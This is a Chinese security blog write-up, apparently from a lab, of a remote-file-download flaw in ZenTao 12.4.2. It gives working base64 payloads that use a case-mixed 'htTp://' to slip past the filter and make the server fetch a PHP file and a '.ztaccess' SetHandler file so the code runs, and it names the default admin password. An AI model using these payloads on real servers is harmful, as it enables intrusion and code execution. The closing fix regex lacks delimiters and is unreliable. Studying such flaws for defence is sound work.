0x01:
背景
近期,结合实际工作需要,对禅道项目管理系统进行了一些分析和研究,通过分析存在漏洞的代码,经过分析与实践,我们发现了一种在我们认知中相对更快捷利用相关漏洞的绕过姿势。借此机会与大家分享分享。如有雷同,算我的锅,在这给您先赔个不是哈。
0x02:
环境构建
禅道项目管理系统V12.4.2版本:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html
如果需要在Windows系统上构建,直接下载安装包安装即可:https://www.zentao.net/dl/ZenTaoPMS.12.4.2.win64.exe
一顿解压后,启动那个exe,真的打开了,好神奇!
直接访问,OK了,
默认账户(admin,口令:123456)
,不知道默认口令的师傅,拿走不谢!进去了会强制改密码哈,干就完了!
0x03:
一点点禅道背景知识的讲解!(主要是讲给小白我自己的!)
之前在看大佬们的漏洞讲解时,我有个小疑问,
client-download-1-(base64 encode webshell download link)-1.html
,这个玩意怎么来的,后来经过一段时间的憋气后,我才发现其原理,您且听我随便讲讲:
在
module/client/control.php
中定义了一个继承了
control
的类
client
,其中实现了诸如
index
,
browse
,
create
这样的无参方法,也实现了
download
,
edit
,
changelog
,
delete
这样的有参方法。
不愿意看了对吗,我们直接看样例1:调用无参方法!
对应的
module/client/control.php
代码为:
public function browse(){ $this->view->title = $this->lang->client->update; $this->view->clients = $this->client->getList(); $this->display();}
我们给他加一个
echo
输出调试下,修改代码为:
public function browse(){ echo "Cool boy"; $this->view->title = $this->lang->client->update; $this->view->clients = $this->client->getList(); $this->display();}
访问相关页面:
这说明禅道系统使用
-
作为分隔符,
client
为对应的类,
-
分割,
browse
为被调用的方法。
再看一个样例2:调用有参方法!
public function download($version = '', $link = '', $os = ''){ set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));}
有参调用
:三个参数,全是
1
不传参调用有参函数
:
不管你会没会,反正我是会了。。。。时间有限,不研究底层逻辑。
既然知道了套路,就可以去套路别人了。
另外,禅道为了提高安全性,默认禁用了
php
解析,可参考链接:https://www.zentao.net/book/zentaopmshelp/406.html,经过我们的测试,推测其采用的是通过一些策略,强制使php为扩展的文件不解析。
0x04:
禅道相关有漏洞的代码审计
可能有些大佬早就定位到相关漏洞了哈,我就是看了大佬的分析后,如醍醐灌顶般,瞬间悟透,这里就是按照大佬的方法再过一遍定位到漏洞的过程,不乐意看的师傅,跳过跳过跳过!!!!
1.
存在问题的代码位置1:
module/client/control.php:86
public function download($version = '', $link = '', $os = '') { set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); }
关注
downloadZipPackage
这一函数。
2.
存在问题的代码位置2:
module/client/ext/model/xuanxuan.php:10
public function downloadZipPackage($version, $link){ $decodeLink = helper::safe64Decode($link); if(preg_match('/^https?\:\/\//', $decodeLink)) return false; return parent::downloadZipPackage($version, $link);}
使用base64解码后,请注意关键代码:
preg_match('/^https?\:\/\//', $decodeLink)
,显然这类正则匹配存在一定的问题:如果正则匹配到 http(s):// 则返回false,既然如此,我们可以利用
ftp
绕过。
3.
上传文件存储关键代码:
module/client/model.php:240
public function downloadZipPackage($version, $link) { ignore_user_abort(true); set_time_limit(0); if(empty($version) || empty($link)) return false; $dir = "data/client/" . $version . '/'; //关键代码 $link = helper::safe64Decode($link); //base64解码 $file = basename($link); if(!is_dir($this->app->wwwRoot . $dir)) { mkdir($this->app->wwwRoot . $dir, 0755, true); } if(!is_dir($this->app->wwwRoot . $dir)) return false; if(file_exists($this->app->wwwRoot . $dir . $file)) { return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; } ob_clean(); ob_end_flush(); $local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }
上述代码使用base64解码
$link
参数后将下载文件至 data/client/ 拼接
$version
参数的目录,读取
$link
指向的文件,并写入
$local
指向的文件中。显然,没啥过滤,没啥扰乱,看起来只要能绕过http(s):// 匹配,你想咋搞咋搞。
0x05:
失败的干就完了(PHP不解析)
随便在自有的tomcat服务器上,传个
1.php
吧(毕竟禅道是按字符读取后目标文件,并写入到其服务器一个文件,为避免动态页面被解析为静态页面的问题,出此下策),内容为:
<?php phpinfo();?>
以本地测试环境为例,其资源索引地址为:http://127.0.0.1:8080/1.php
base64(http://127.0.0.1:8080/1.php) -> aHR0cDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!肯定失败!
换个思路,绕过
http
或
https
,用
htTp
试试?
base64(htTp://127.0.0.1:8080/1.php) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!保存成功!
访问
http://127.0.0.1:81/zentao/data/client/1/1.php
,没东西,经过检查,代码上传确实出现在服务端后台了,说明没有解析:
我们得想办法让他解析,这时候,
知识点又来了:想访问禅道二级目录,得改他的.ztaccess文件
,既然环境在这里,我们再构建一个.ztaccess文件,让服务器下载吧,文件内容如下所示:
SetHandler application/x-httpd-php
文件资源索引地址:htTp://127.0.0.1:8080/.ztaccess -> base64编码处理 -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==
触发服务器下载逻辑:
再次访问:http://127.0.0.1:81/zentao/data/client/1/1.php,还是不解析,不上图了,贼伤心。
0x06:
成功的干就完了
(扩展绕过及解析)
老方法,Tomcat搞一搞,资源索引地址换成
http://127.0.0.1:8080/1.php0
,反正我打我自己。
http://127.0.0.1:8080/1.php0
->
base64(htTp://127.0.0.1:8080/1.php0)
-> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhwMA==
保存成功,访问还是不解析哈:
根据禅道的要求,显然我们还要传一个
.ztacess
到服务器上去:
SetHandler application/x-httpd-php
base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==
再次访问成功解析,访问成功:
0x07:
反思
既然已经绕过了相关的漏洞,按照国际惯例,也应该提出点自己的安全建议,不如从正则匹配入手搞一搞。
绕过一:大小写绕过防护
关键代码如下所示,注意,添加了一个
i
(忽略大小写选项):
public function downloadZipPackage($version, $link){ $decodeLink = helper::safe64Decode($link); if(preg_match('/^https?\:\/\//i', $decodeLink)) return false; return parent::downloadZipPackage($version, $link);}
使用base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw== 这一载荷尝试下载相关资源确实失败了。
绕过二:其他协议绕过防护
有大佬试过
FTP
协议绕过,真的很香。针对这种换协议绕过检查的方法,可以优化下正则表达式:
if(preg_match('^(https?|ftp|file)\:\/\/i', $decodeLink)) return false;
喜欢就请关注我们吧!